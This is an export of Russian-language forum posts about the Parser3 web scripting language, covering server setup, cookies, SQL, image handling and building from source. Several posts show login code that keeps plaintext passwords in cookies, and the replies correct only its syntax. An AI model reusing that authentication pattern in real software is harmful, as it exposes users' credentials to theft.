"2355","Я далаю и отлаживаю сайт локально, а потом заливаю его со всеми потрохами посредством Windows Commander, я для правки по мелочи использую уже midnight'овский редактор поверх SSH. Так что для моего стиля работы эта ftp-функциональность нафиг не сдалась, честно говоря. Но для людей с другим стилем работы это может быть аргументом, согласен."
"2356","Обычным образом используя кнопку submit все идеально работает, но как только я делаю formname.submit() - хоть убей, но возращяет \"CGI Error\
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:\" \
и это при таком заголовке\
\"_my_server_name_/structure.p2?new_line_id_name=a21&parent_line_id=11&action_id_close=&action_id=11%7C1119%7C1120%7C&search=\"\
Ничего не понимаю, первый раз такие непонятки.\
Помажите."
"2357","особенность такова, что ошибка вылезает чуть ли не через раз: вносим данные - делаем formname.submit() - ок, вносим еще данные - ощибка, непонимаю..."
"2358","во вторых - \"зачастую\" в твоей фразе по моему ключевое слово.\
\
мне, например, удобнее работать всегда в одном редакторе, имея мощный набор инструментов.\
\
при этом, если работаю локально - замечательно (я тоже юзаю и WinComander с егоным FTP), если надо поправить что-нить удаленно - у меня не возникает необходимости пускать что-либо еще...\
\
когда я работаю не со своего рабочего места минимальный набор мой - всего-лишь один редактор... это не значит, что при этом я комфортно себя чувствую... но у меня есть сразу все.\
\
а Aditor... :) Ты когда-нить пускал Ultraedit? :)\
После того, как я запстил адитор я кажется знаю, у кого они \"содрали\" дизайн интерфейса :)))\
\
Внешне - ultraedit... только сильно урезаный и с добавлением специфических вещей... согласен, некоторые из этих вещей я бы хотел видеть в UE, т.к. они мне понравились, когда я его полльзовал :)))\
\
Я много всего перепробовал, в том числе и EditPlus... Все искал, искал...\
\
Ну да ладно, не о том спорим :)\
На вкус и цвет..."
"2360","[code]\
$file[^file::load[text;имя файла]]\
^process{^taint[as-is][$file.text]}\
[/code]\
\
Соответственно, если не нужна обработка, то убираешь ^process{} и все дела..."
"2361","Метода remove для таблицы нету в p3.\
\
Хотя может уже есть и я не в курсе..."
"2362","например тебе хочется написать join по 6 табличкам, при этом сиквелу придется ворочать милионы записей...\
\
тогда лучше сделать несколько запросов, которые вернут ограниченые наборы данных и окончательно все обработать парсером.\
\
я прдерживаюсь следующей схемы:\
0. пью кофе, думаю (ну думаю я не всегда конечно) :))))\
1. пишу запрос, какой нужен для решения задачи.\
2. explain его.\
3. гляжу на результаты, читаю доку.\
4. пытаюсь подумать что можно сделать с индексами для того, чтобы стало лучше.\
5. если все обходится без временных таблиц - считаю что нормально и оставляю так.\
6. если от временных таблиц избавиться не удается, и данное место критично - разбиваю на куски и окончательно обрабатываю парсером.\
"
"2363","write failed: Permission denied (13), actual filename 'D:/WEB/zzz.dat'\
\
переставил винду и вот ... а раньше работало ..."
"2364","посетитель сайта при анонимном доступе в IIS работает от имени IUSR_xxxx [по-умолчанию]. надо ему дать право записи куда нужно.\
\
не советую давать право записи на[всё] веб пространство. лучше часть, ещё лучше: вне веб-пространства."
"2365","пишу так:\
\
$cookie:user[\
   $.value[$form:user]\
   $.expires[session]\
]\
\
$cookie:pass[\
   $.value[$form:pass]\
   $.expires[session]\
]\
\
\
потом снова юзер вводит свое имя/пароль и снова эти куки перезаписываються.\
\
Но. Юзер видет инфу для прошлого юзера !!! Нажимаешь \"обновить\" - все ок. Причем обновлять иногда нужно несколько раз. \
\
В чем беда ? или кука записываеться с задержкой, или старая кука из кеша береться...\
\
И как вообще _правильно_ сессии организовать под parser ??? Этот способ небезопасный... и кривоватый..."
"2369","По поводу сессионных кук: сессия - это все время от записи куки до закрытия всех окон браузера. Закрыть только текущее окно практически всегда недостаточно (практически - потому что был какой-то, не помню точно какой, браузер, который держал куку в текущем и всех \"дочерних\" окнах. т.е. в нем достаточно было закрыть только их)\
\
По поводу организации:\
Если пользователь \"честно вышел\" (нажал типа logout) - куки надо стирать.\
Если не честно (просто ушел с сайта) - куки останутся - надо следить за referer'ом и прочее.\
И вообще, посмотри [url=http://parser2.parser.ru/forum]форум 2-го парсера[/url] - там это обсасывалось неоднократно."
"2370","1. setenv у тебя работает - иначе имел бы 500ю с \"setenv not allowed here\" или \"unknown directive setenv\"\
\
2. просто пропиши HTTP_PARSER_ROOT_CONFIG и HTTP_PARSER_SITE_CONFIG от рута машины, а не сайта - все сразу будет. (те не /cgi-bin/parser3.conf, а DOCUMENT_ROOT/cgi-bin/parser3.conf. Значение DOCUMENT_ROOT посмотри через $env:DOCUMENT_ROOT)"
"2371","Я перелогиниваюсь, и у меня куки перезаписываться должны !!!\
а они перезаписываються (или приходят х.з. что еще_) при обновлении браузера !"
"2372","Они записываются, а действовать начинают только при следующей загрузке страницы. На той же странице, гдк они устанавливались они не работают."
"2373","Смжет ли использовать кто-нибудь код форума или не может -- ворос третий. Главное посмотреть как умные люди делают, как задумывалось использовать ту или иную фичу парсера.\
Так что однозначно выложить это дело для скчачивания. Неплохо бы ещё и xsl-ы, но это уже на усмотрение авторов. Если \"в третих\" это кривоватость [кода|комментариев], то это ерунда -- иммунитет есть (кривоватая дока -- мощная прививка..)"
"2374","Вот собираюсь писать чат.. Понятно, что к серверу по 10 коннекций в секунду практически гарантировано. Помню что парсер2 под виндой в подобных условиях тормозил жутко. Причину я уже писал в форуме парсера2, мне никто ответить не удосужился :). Теперь вот думаю, что заюзать в даннои случае. Сервер будет под Linux ASP 7.1 2.4 kernel. Но если под вин32 разработчики парсер3 удосужились все-таки сделать модуль isapi, чем сильно повысили быстродействие парсера, а не только cgi, то под unix cgi так и остался. Я не совсем в курсе о принципах работы ядра юниха, в частности его затрат по созданию процессов, поэтоиу не знаю, насколько существенна разница в быстродействии cgi сопоставимо с модулями.\
Что мне все-таки заюзать - пхп или парсера? Вопрос быстродействия очень важен вне зависимости от железа на котором это все будет запускаться. Разработчики, не оставьте этот вопрос без внимания, мне все-таки ваш продукт очень нравится в плане удобства."
"2375","Про быстродействие в синтетических тестах уже говорили недавно - фигня все это - можно опустить практически любой серверный язык.\
\
К вопросу о чате: на mtv.ru он написан на C++ - делай выводы ;-)"
"2376","Вот документ:\
===\
<html>\
<body>\
\
hello - привет<br>\
\
2*2=^eval(2*2) <br>\
\
HTTP_PARSER_ROOT_CONFIG: $env:HTTP_PARSER_ROOT_CONFIG <br>\
HTTP_PARSER_SITE_CONFIG: $env:HTTP_PARSER_SITE_CONFIG <br>\
request:charset: $request:charset <br>\
response:charset: $response:charset <br>\
env:DOCUMENT_ROOT: $env:DOCUMENT_ROOT<br>\
\
</body>\
</html>\
===\
\
он дает\
===\
hello - привет\
2*2=4 \
HTTP_PARSER_ROOT_CONFIG: \
HTTP_PARSER_SITE_CONFIG: \
request:charset: UTF-8 \
response:charset: UTF-8 \
env:DOCUMENT_ROOT: /pub/home/npomis/htdocs\
===\
\
т.е. указанные переменные НЕ отрабатывают, их значений не видно\
(или таким образом их не посмотреть?). \
\
я ставлю\
===\
SetEnv HTTP_PARSER_ROOT_CONFIG /pub/home/npomis/cgi-bin/parser3.conf\
SetEnv HTTP_PARSER_SITE_CONFIG /pub/home/npomis/htdocs/parser3.conf\
===\
\
и оно не работает.\
\
Имею:\
===\
unknown charset\
windows-1251\
\
/pub/home/npomis/htdocs/mis/auto.p(11)\
exception.type=parser.runtime \
===\
\
Соотв-но, в cgi-bin -- главный конфиг,\
в /htdocs -- конфиг сайта.\
\
Что еще нужно исправить?\
\
\
"
"2377","Тесты были вовсе не синтетическими, а вполне реальными. Там тоже был чат. \
Ковыряться в исходниках, дабы собирать модуль для апачи, времени просто нет, особенно если учесть что в с++ я не секу практически ничего. Посему просьба дать ответ более конкретный :)."
"2378","у меня разные страницы:\
одна - там где форма user & pass.\
на ней же куки и устанавливаються.\
и action на форме на другую страницу.\
И вот речь идет об этой другой странице !"
"2379","http://www.mozilla.org/releases/\
http://www.mozilla.org/releases/mozilla1.0/\
http://www.mozilla.org/start/1.0/parties.html\
Кстати, Студия Лебедева собирается это дело как-нибудь отпраздновать? ;-))))) "
"2380","Как получить свойства изображения лежащего вне $DOCUMENT_ROOT"
"2381","Зачем собирать модуль для линукс самому если он уже есть в download? Или для ASP Linux он не пойдет и все-таки придется его собирать самому?"
"2382","импортированными закладками IE, набранными русскими буквами? Или версия 1.0 отображает их так же, как и RС1 - с процентами (%01%01%03 итп.)? Если так же, я лучше 7й netscape  скачаю - то же самое, но хоть  русский язык уважает..."
"2383","Редактор вроде неплохой, вот только я не очень понял, где кодировку в нем можно сменить. Я в основном все делаю в Koi8 а он мне на это бикаясики выдает...."
"2384","То же самое, я пишу в koi8 а он мне выводит в виндовой кодировке... непорядок."
"2385","  parser3_1_0_0001_redhat72_cgi_xml.tar.gz (460,2 КБ)\
CGI скрипт с поддержкой XML \
  parser3_1_0_0001_redhat72_cgi.tar.gz (182,2 КБ)\
CGI скрипт \
\
  parser3conf_20020424_unix.tar.gz (4,3 КБ)\
Главный конфигурационный файл и файлы описания кодировок \
  parser3sql_1_0_0001_redhat72_mysql.tar.gz (21,9 КБ)\
SQL драйвер для MySQL \
  parser3sql_1_0_0001_redhat72_pgsql.tar.gz (22,8 КБ)\
SQL драйвер для PgSQL \
\
Ну ткните меня тогда носом пожалуйста, где тут модуль для апача? Пока что вижу только cgi-скрипт...."
"2387","попробуй так\
[code]\
^image::measure[../../images/1.jpg]\
[/code]"
"2388","Но у него есть возможность подключения пользовательских перекодировочных таблиц...\
\
Загружаю коёвый файл, грю перекодируй из их в винду, правлю, перекодирую обратно и сохраняю.\
\
телемаркет. :)\
\
С UTF8 проблем нет (но были в версиях < 8.xx и в каких-то начальных девятых)"
"2389","указаний никаких не потерпим. что и куда выложить исключительно дело доброй воли.\
\
что [b]конкретно[/b] стоит улучшить в доке всегда рады услышать."
"2390","прямо тут, под присваиванием.\
это официальное поведение и этим можно/следует пользоваться при скриптовании.\
\
быть может, Bitmag ожидает иного поведения?"
"2391","Делал проверку логина и пароля, но почему то возникает ошибка, точенее программа неправильно функцианирует. Пожалуйста помогите разобраться.\
Cookie:username имеет значение логина, а Cookie:password — значение пароля\
\
[code]\
@authenticate[code_]\
^if(def \"$cookie:username\"){\
	^if(def \"$cookie:password\"){\
\
# Здесь все правильно, т.к. пользователь с таким Логином существует и пароль правильный.\
		^MAIN:dbconnect{\
			$check_password[^string:sql{SELECT password FROM user WHERE username='$cookie:username'}]\
		}\
# Сравнение правильное (точно)\
		^if(\"$check_password\" eq \"$cookie:password\"){\
			^MAIN:dbconnect{\
				$end_date[^string:sql{SELECT end_date FROM user WHERE username='$cookie:username'}]\
			}\
# Проверяется не истек ли срок действия данного пользователя\
			^if(\"$end_date\" eq \"unlimit\"){ 	rem{Эта строка проверяет - ограничено ли время действия пользователя} \
\
# Если нет, то выполняется код\
				$code_\
\
# Если да, то выполняется проверка даты, и если все верно, то вы полнение кода (для сокращения времени я этот код приводить не буду)\
			}{\
				^check_date[$code_]\
			}\
		}{\
\
# Если такое случилось, то пользователю выдается Ошибка\
			Неверно указан логин или пароль\
		}\
	}{\
\
# Если не задан Cookie:password\
		$response:location[/]\
	}\
}{\
# Если не задан Cookie:username\
	$response:location[/]\
}\
[/code]\
\
\
ВОТ так я вызываю из файля с классом, конечно я использую @USE\
[code]\
$authenticate[^check_access::check_authenticate[]]\
^authenticate.check_authenticate[Мой код]\
[/code]\
Но вся проблема в том, что когда логин и пароль неправильные - код все равно выполняется. И ничего с этим поделать не могу, как не кручу!"
"2392","для сборки модуля не нужно разбираться в C++, нужно уметь ставить пакеты из исходных файлов.\
\
проект parser собирается с использованием стандартных для GNU autoconf/automake средств.\
\
соответственно, системный администратор, умеющий установить apache из исходных кодов, сможет установить и mod_parser3."
"2393","... и три минуты работы в фотошопе..."
"2394","Это неверно:\
^authenticate.check_authenticate[Мой код]\
\
Надо так:\
^authenticate.check_authenticate{Мой код}\
\
В твоем случае код выполняется перед вызовом метода, и в метод уже передается результат выполнения.\
\
И еще:\
\
так нехорошо:\
$end_date[^string:sql{...}]\
\
пиши так:\
$end_date[^string:sql{...}[$.default[]]]\
\
"
"2395","Подскажите, пожалуйста, есть ли или будет поддержка в parser рассылки в группы новостей, то есть поддержка протокола NNTP"
"2396","1.\
/../имя\
при\
document root=/a/b/c\
обратится к\
/a/b/имя\
\
2.\
непонятно, зачем мерять, если веб сервер не сможет отдать.\
единственный случай, который смог придумать, это когда картинка \
режит в виртуальном каталоге, т.е. когда виртуальный путь не совпадает с дисковым.\
имейте в виду, что в этом случае необходимо будет \
[code]\
^img.html[$.src[указать виртуальный путь]]\
[/code]"
"2397","писать дважды connect = что реально будет сделан один — неважно, просто ненужное загромождение.\
\
писать два sql вместо одного = почему бы не достать где и user и pass совпадают..\
\
проверять вложенными if(a){if(b){ вместо if(a && b"
"2398","я недавно выяснял.\
есть хорошее готовое решение, которое используют сообщества разработчиков perl и php.\
\
заключается в\
* списках рассылки\
* NNTP сервера, раздающего данные их архива списков рассылки\
* веб раздела, раздающего NNTP сообщения по HTTP\
\
но в этих сообществах существенно участников.\
есть ли у кого-нибудь силы и время организовать всё и поддерживать?\
\
мы готовы настроить nntp.parser.ru смотреть на любой ip.\
а также организовать MX для lists.parser.ru куда скажете."
"2399","Научите, как реализовать средствами Parser3...\
Желательно привести код с пояснениями (может тогда пойму)."
"2400","Если можно подробнее о NNTP на nntp.parser.ru\
Но, конечно, хотелось бы иметь под рукой средство для работы с группами новостей"
"2401","... так это то, как быть со \"свисающими\" буквами типа \"g\"\
если набор \"abcd\" можно загнать в прямоугольники легко и непринужденно,\
то по какой букве равняться если хочется загнать весь алфавит (A-Za-z0-1)\
\
/пардон за такие вопросы, я в оформлении фонтов около нуля ;-))\
"
"2402","[code]\
@unescape_br[buffer]\
$buffer[^buffer.match[\\n\\n][g]{<p />}]\
$buffer[^buffer.match[\\n][g]{<br />}]\
$buffer\
[/code]"
"2403","Спасибо."
"2406","Господа. Помогите, плиз, собрать парсер3.\
Что я делал:\
1. [code]cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login[/code]\
\
2. [code]cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get -r release_1_0_0001 parser3[/code]\
получили каталог parser3\
\
3. [code]./configure --prefix=/home/midusers/ksa/local[/code]\
\
4. [code]make[/code]\
а вот собственно тут начинаются проблемы:\
\
[code]Making all in pcre\
make[2]: Entering directory `/home/midusers/ksa/parser3/src/pcre'\
cd ../.. && automake --gnu src/pcre/Makefile\
automake: configure.in: required file `./depcomp' not found...\
[/code]"
"2410","двигатель пиши на чем-нить c-образном. А оболочку парсерную. К движку обращаться будешь через exec"
"2413","надо чтобы был каталог parser3project и в нем должны быть parser3 и sql, заметь они находятся на одном уровне."
"2414","как так вышло, потом расскажете…\
а на вашей машине auto* не все установлены, так что грамотно make не прошёл.\
\
диагноз: сделать неглядя всем файлам touch перед сборкой."
"2416","touch depcomp - проходит, но потом дает ошибку \
gcc  -g -O2   -o dftables  dftables.o  -lm\
gcc: dftables.o: No such file or directory\
\
если сделать\
touch dftables.o\
\
то он его не распознает..."
"2417","Есть ли желающие протестировать работу парсера 3 в виде модуля для Apache 2 под Win32? Могу прислать уже готовый модуль."
"2419","При работе с данным модулем у меня есть проблема, - не отображаются графические файлы на экране, все остальное вроде пока работает."
"2420","huh?\
я о дате каких файлов говорил?  им и делать.\
\
проще всего всем:\
\
find ./ -exec touch {} \\;\
\
\
а это безобразие стереть!"
"2423","... за помощь, вы меня, можно сказать спасли!\
И я хотел еще спросить, а зачем в [code]$end_date[^string:sql{...}][/code] вставлять некую конструкцию...\
[code]$end_date[^string:sql{...}[$.default[]]][/code]?\
Для чего она нужна?"
"2424","Я бы еще хотел узнать - намного ли это разгрузит систему?"
"2425","Извиняюсь, раз моя просьба выложить таки код форума вам показалась резкой. Всё таки текст это не разговорная речь (про это прочитать можно тут http://spectator.ru/issues/317 ). И про доку это я, что называется любя...\
Насчёт улучшения доки не могу сказать ничего особенного, да и то не совсем про неё - при выкладке очередной версии доки хотелось бы видеть какую-нибуть информацию о внесённых изменениях, чтоб лишний раз не качать. Да и не хватает про xml всякий информации, но здесь, похоже, надо будет отдельное руководство готовить, так что будем [пытаться] терпеливо ждать."
"2426","В том случае, когда ничего не вернется из запроса (это ведь возможно).\
Если прописан дефолт - его значение и получишь.\
\
Для проверки существования ошибки попроси заведомо пустой запрос через ^string::sql{} - увидишь как она называется ;-)"
"2427","У меня на все фотки на media. - это другой сервер вообще, но живет на той же машине. Только $.src приходится писать через http:/"
"2428","НЕ работает пример №1 (навигация). Вроде все делаю по инструкции,\
а браузер отображает просто текстовую строку\
^navigation[].\
Что делать?"
"2430","Возможно ли произвести выборку из таблицы при загрузки таблицы из файла. Если да, то подсважите как."
"2431","грузи файл в таблицу, делай по ней menu, загоняй в другую таблицу только те записи, которые тебе нужны."
"2433","У меня файл на 5 мегов, поэтому бы хотелось выборку делать на стадии считывания из файла"
"2434","Что будет, если у меня сначала идет код страницы, но только часть, а дальше вставляется редирект на другую страницу, так вот - покажется ли пользователю начальная часть страницы?"
"2435","Парсер для таких работ не заточен. При таких объемах лучше загнать все в СУБД, и делать выборку средствами SQL."
"2436","редирект, т.е. когда ты отправляешь сообщение, нажав кнопку \"Отправить\", закрывается окно и в окошке с форумом открывается страница с написанным сообщением?"
"2440","[skipped демагогия]\
о существенных изменениях пишется в news и сюда. конкретнее?\
\
чего конкретно не хватает про xml? \
пример есть, список реализованных функций есть.\
сайт http://www.w3.org/ пока на месте."
"2441","по нормальному взять с tabлицы (tab - delimited)\
отредактировать и сохранить ? если выбирать что редактить селектом ?"
"2442","Может быть и RTFM, но я не нашел. Как форматировать дату?\
Загружаю таблицу из mySQL, как форматировать дату при выводе? Я чет не понял.\
\
[code]\
^connect[$connect_string]{ \
   $news[^table::sql{\
     SELECT \
       date, header, body\
     FROM \
       news  \
     ORDER BY\
       id DESC        \
   }[$.limit(15)]] \
\
   ^if($news){ \
      ^news.menu{ \
         $news.date <b>^untaint{$news.header}</b><br> \
         ^untaint{$news.body}<br> \
      }[<br>] \
   }{ \
      За указанный период новостей не найдено. \
   } \
} \
<br>\
[/code]"
"2443","действительно RTFM про mySQL.\
\
попробуй написать\
\
select DATE_FORMAT( date, '%d.%m.%Y' ) as date_formatted"
"2445","Дока по MySQL, раздел 7.4.11 Date and time functions\
"
"2446","Пробую так\
# картинка 200х75\
          $square[^image::load[/images/guest.gif]]\
          ^square.line(0;0;50;50;0xFFFFFF)\
          ^square.html[]\
И никакого эффекта.\
\
"
"2447","я делаю так\
test.gif:\
$x(360)\
$y(200)\
$bg(0xFFFFFF)\
$graph[^image::create($x;$y;$bg)]\
^graph.bar(1;1;($x-4);($y-4);0)\
$response:body[^graph.gif[]]\
\
плюс в .htacces строки\
AddHandler parsed-gif .gif\
Action parsed-gif /cgi-bin/bin/parser3"
"2449","Код обрабатывается на сервере, а результаты передаються пользователю. Если встречается редирект, то пользователя сразу переадресовывает на другую страницу?"
"2450","в котором сказано про редирект.\
и если броузер нормальный то он сразу сам туда и пойдет."
"2451","А по поводу\
$response:body[^graph.gif[]]\
\
Это разве обязательно нужно,\
Почему не выводить просто немного подправленная картинка,\
или все дело в .htaccess"
"2452","без нее ничего не отдастся...\
я все сделал так и оно работает...\
/может это конечно и через ж\
"
"2453","Я пробовал добавлять в .ht* , но только картинки перестал показывать"
"2454","и правильно. у тебя ведь в этой директории и глубже гора других картинок, которыe не надо обрабатывать? заведи отдельный каталог где есть только картинки, те что ты _хочешь_ парсить. и там положи .htaccess"
"2455","А как же тогда ^картинка.html[]"
"2456","Пишет \
[code]\
column not found\
date\
\
d:/inetpub/wwwroot/news/index.html(20)\
exception.type=parser.runtime \
[/code]\
\
И ошибка в ^news.menu{. Типа здесь не найден, what the f?\
\
[code]\
@body_main[] \
^connect[$connect_string]{ \
   $news[^table::sql{\
     SELECT \
       DATE_FORMAT(date,'%d.%m.%Y'), header, body\
     FROM \
       news  \
     ORDER BY\
       id DESC        \
   }[$.limit(15)]] \
\
   ^if($news){ \
      ^news.menu{ \
         $news.date<b>^untaint{$news.header}</b><br> \
         ^untaint{$news.body}<br> \
      }[<br>] \
   }{ \
      За указанный период новостей не найдено. \
   } \
} \
<br>\
[/code]"
"2457","вот этого я не прочувствовал"
"2458","Спасибо!"
"2460","[quote]\
^картинка.html[]   \
^картинка.html[хеш]   \
\
Метод создает следующий HTML-код: \
<img src=\"$image.src\" width=\"$image.width\" height=\"$image.height\" />\
[/quote]"
"2463","http://www.parser.ru/forum/?id=565\
Я смотрел. Вопрос: как правильно?"
"2465","Какая документация понятнее: по Парсеру 2 или по Парсеру 3?"
"2466","Их трудно сравнивать. \
Это совершенно разные языки.\
Парсер-3 намного больше и сложнее.\
Документация сложнее, но ее недостатки постепенно устраняются..."
"2467","[code]\
@counterf[name][$cnt;$got] счетчик на файл (MK)\
$cnt[]\
^file:lock[$root/data/temp/cnt.lock]{\
$got[^table::load[$root/data/temp/${name}.cnt]]\
$cnt[$got.number]\
$cnt[^cnt.int(0)]\
$cnt[^eval($cnt+1)]\
$got[^table::create{number\
$cnt\
}\
]\
^got.save[$root/data/temp/${name}.cnt]\
}\
\
@counterff[name][$cnt;$got] показ счетчика из файла (MK)\
$cnt[]\
^file:lock[$root/data/temp/cnt.lock]{\
$got[^table::load[$root/data/temp/${name}.cnt]]\
$cnt[$got.number]$cnt}\
[/code]\
"
"2468","$cnt[^cnt.int(0)] - в принципе делать необязательно, если есть уверенность, что это int\
\
$cnt[^eval($cnt+1)] можно записать как $cnt($cnt+1) или сделать преобразование и потом вызвать метод ^inc[]\
\
а так очень похоже. ;)"
"2470","Есть такой код:\
[code]\
$columns[^table::load[group_columns.cfg]]\
\
# т.е. перебираются строки, содеращие confirm и проверяется на заполнение форм с таким именем\
^if(^columns_group.menu{^if(def \"$columns_group.confirm\"){def \"$form:columns_group.name\" && }}){\
   Мой код...\
}\
[/code]\
А мне выдается такая ошибка\
[code]\
invalid number (double)\
\"\" && \"\" && \"\" &&\
[/code]\
В чем дело, где здесь неправильно?"
"2472","{def \"$form:columns_group.name\" && [i]Что?[/i]}"
"2473","По-моему так правильно, нет? Или cnt.lock это типа запись: расширение.запретить, я полагаю, что нет. Исправленный:\
[code]\
counterf[name]\
$cnt[]\
^file:lock[$root/data/temp/${name}.cnt]{\
  $got[^table::load[$root/data/temp/${name}.cnt]]\
  $cnt[$got.number]\
  $cnt[^cnt.int(0)]\
  $cnt[^eval($cnt+1)]\
  $got[^table::create{number    $cnt}]\
  ^got.save[$root/data/temp/${name}.cnt]}\
\
@counterff[name]\
$cnt[]\
^file:lock[$root/data/temp/${name}.cnt]{\
  $got[^table::load[$root/data/temp/${name}.cnt]]\
  $cnt[$got.number]$cnt\
}\
[/code]\
Я, чесно говоря, не знаю, в доках про него нет, но у меня все равно не работает ни так, ни эдак - только считывает. Вызываем на странице:\
[code]\
^counterf[comp]\
[/code]\
\
Ясное дело, comp.cnt есть и в нем в tab-формате\
[code]\
number\
0\
[/code]\
\
Говорит:\
[code]\
write failed: Permission denied (13), actual filename 'd:/inetpub/wwwroot/data/temp/comp.cnt'\
d:/inetpub/wwwroot/log/comp.txt\
\
d:/inetpub/wwwroot/index.html(20)\
exception.type=file.access \
[/code]\
\
Разрешение на чтение и на запись поставил, че ему еще надо? IIS, Windows 2000?\
Кто знает, скажите."
"2474","какая версия парсера вторая или третья?"
"2475","а) конструкция такая \
^file:lock[имя блокируемого файла]{действия}\
однако в силу особенностей выполнения блокировки предпочитаю использовать этот файл только как флаг, и отдельно, уже под защитой этого флага, работать с данными в критической секции.\
б) посмотри на имена файлов в скрипте, у меня другая раскладка по каталогам.\
в) права на каталоги файлы тоже надо выставить."
"2476","предельно ясны и удобны!\
"
"2478","Скорее всего надо так:\
[code]\
^columns_group.menu{\
   ^if(def $columns_group.confirm){\
     ^if(def $form:{$columns_group.name}){      \
           Твой код...\
        }\
      }\
}\
[/code]"
"2479","У тебя там путаница с переменными. \
Надо так:\
[code]\
  $columns_group[^table::load[group_columns.cfg]]\
[/code]"
"2480","Народ, подскажите, как получить таблицу со списком всех каталогов в папке + файлов \\.cfg$|\\.html$|\\.p$|\\.conf$ ? \
\
Я делаю что-то типа web-based файлменеджера, и мне нужно нарисовать дерево каталогов и тех файлов, которые имеют отношение к парсеру (естественно, что мне нафиг не сдались гифы, джипеги и gla'ы, которых там тоже навалом, равно как и других файлов). \
\
Отбрасывать ненужные расширения неудобно (всего не предусмотришь)..."
"2481","def \"$form:columns_group.name\" [b]&&[b] [i]пустое место[/i]\
\
паресер начинает чесать репу и останавливается, ибо телепатии не обучен, и понять, что ты этим имел в виду, не могёт.."
"2482","Мне нужно в условии сделать проверку на заполнение форм, содержащих в колонке confirm какое-либо значение.\
[code]\
^if(^columns_group.menu{$name[$columns_group.name] ^if(def \"$columns_group.confirm\"){def \"$form:$name\" &&}} \"1\"){\
....\
}{\
....\
}\
[/code]\
Но почему то выводиться ошибка. ПОЖАЛУЙСТА ПОМОГИТЕ РАЗОБРАТЬСЯ."
"2483","Я думаю, нужно выбрать все, где нет точки - будут каталоги, вот только как :)"
"2484","Берешь список всех файлов в каталоге (первая итерация - корневой каталог), начинаешь менюшить...\
если ^if(-d ...) - то лезешь в рекурсию, если ^if(^dir.name.match[...]) - добавляешь куда тебе надо или выводишь...\
\
Проблема-то в чем?\
\
Можешь брать список не всех файлов в каталоге, а исключая какие-либо заведомо ненужные расширения (но тогда ты можешь наступить на грабли - не увидишь каталога с именем, например: /images.gif/)"
"2485","[quote]\
  RTFM:\
  ^if(логическое выражение){код, если значение логического выражения \"истина\"}\
[/quote]\
\
У оператора if в скобках должно находится логическое выражение, а не кусок кода. Естественно парсер не может вычислить, то, что ты там написал. Надо менять алгоритм. Один вариант я тебе уже приводил, но можно сделать и по другому:\
\
[code]\
  $columns_group[^table::load[group_columns.cfg]]\
  ^form:fields.foreach[field;value]{\
     ^if(^columns_group.locate[name;$field]){\
       ^if(def $columns_group.confirm){\
\
          А здесь мы уже точно знаем, что поле определено,\
          и мы должны его обработать.\
\
          Причем переменная $value уже содержит значение\
          текущего, обрабатываемого поля.\
\
       }\
     } \
  }\
[/code]\
"
"2486","Денежка небольшая - скажем пять баксов - переводом на webmoney, paycash или куда скажете. Забодался бодаться с американским админом:) Если проще собрать у меня на серваке - дам аккаунт на время сборки... Со мной можно связаться по аське 4825516 или мылом. На серваке у меня RedHat 7.2 glibc2.02 ну и все такое. Shell есть, доступ к make тоже есть.."
"2487","Собственно это именно то что мне нужно,\
Но почему нельзя перед созданием этого кода, на картинке что нибудь нарисовать, или мне каждый раз придется, сохранять все в файл, а потом выводить.\
И по responce:body он же всю страницу одно картинкой заменет?"
"2488","Мне нужно было выполнить проверку на заполнение всех обязательных полей, имя которых храниться в таблице, и если все поля заполненны [i](только в этом случае)[/i] выполнить код. А вы мне предлагаете проверить на заполнение кода в отдельности и для каждого заполненного поля выполнить код!\
\
Но можете не волноваться, я уже справился с этой небольшой проблемкой!\
\
Все равно большое Вам спасибо за помощь."
"2489","1. Как сделать, что бы Parser возвращаль дату изменения документа\
2. Как отключить LOG-файл Parser-а"
"2490","на этой странице http://www.parser.ru/docs/lang/compilesrc.htm (сборка Parser из исходных кодов)есть ошибка:\
pa_config_fixed.h находится не в parser3/src/include а в \
\
\
"
"2491","не в parser3/src а в parser3/src/include"
"2492","Помогите разобраться как установить всё это дело. Как не делаю одна и та-же ошибка\
(The server encountered an internal error or misconfiguration and was unable to complete your request.)\
Заранее благодарен"
"2493","Тестовый код:\
\
<p>parser3.cgi (755) - ^if(-d \"/cgi-local/parser3.cgi\"){Dir}{File}\
<p>libmysqlclient.so (755) - ^if(-d \"/cgi-local/libmysqlclient.so\"){Dir}{File}\
<p>koi8-r.cfg (644) - ^if(-d \"/cgi-local/koi8-r.cfg\"){Dir}{File} \
\
Под WinXP всё нормально, под RedHat 7 - глюк:\
\
parser3.cgi (755) - Dir \
libmysqlclient.so (755) - Dir \
koi8-r.cfg (644) - File \
\
парсер считает любой файл с правами 755 директорией..\
"
"2494","метод html призван сгенерить HTML КОД ДЛЯ ПОКАЗА КАРТИНКИ. Он сам подставит нужные width, height и уже определенный src (он определяется при загрузки файла картинки в объект image)\
\
Этот ког будет послен броузеру. Броузер, как ни странно, пошлет еще один запрос чтобы получить эту самую картинку и покажет ее.\
\
Если ты желаешь, чтобы там было что-то другое - запиши туда что-то другое.\
\
Если ты желаешь, чтобы там был шаблон для генерации твоих картинок и ты не хочешь его перезаписывать - используй другие методы:\
1. запиши в другой файл и .html его\
2. $responce:body не забыв про кодировку ($responce:content-type...)"
"2495","Добрый день, уважаемые!\
Помните, в конце мая я доставал вас дурацким вопросом(о выводе инфы зи базы в таблицу с несколькими столбцами)?\
Так вот я решил проблему.(Удары гнилых помидоров с криками: \"ЛОХ! тоже мне проблема!!!\")Прошу учесть, что программировать я начал благодаря Парсеру, а до этого занимался только разработкой дизайна и версткой страниц. Так что понять очевидные для вас вещи мне немного сложно. А еще куча отупляющих действий типа переставь-бухгалтерам-винду-и-сотвори-срочно-фотоальбом-из-200-фотографий на работе.Все равно большое вам спасибо за то,что подтолкнули к самостоятельному мышлению.\
Я сделал просто еще одну переменную-счетчик и все прокатило!\
[code]\
$i(1)\
^while( $i <= ^news.count[]){\
<tr>\
	<td>$news.id</td>\
	^news.offset(1)\
	^i.inc(1)\
\
\
^if($i <= ^news.count[]){\
\
	<td>$news.id</td>\
	^news.offset(1)\
	^i.inc(1)\
\
}{\
\
<td>&nbsp</td>\
}\
\
^if($i <= ^news.count[]){\
\
	<td>$news.id</td>\
	^news.offset(1)\
	^i.inc(1)\
\
}{\
\
<td>&nbsp</td>\
}\
}\
</tr>\
 }\
[/code]\
\
"
"2496","responce:body заменяет все тело документа, а мне нужно только картинку,\
Как в этом случае?\
Если можно с примером."
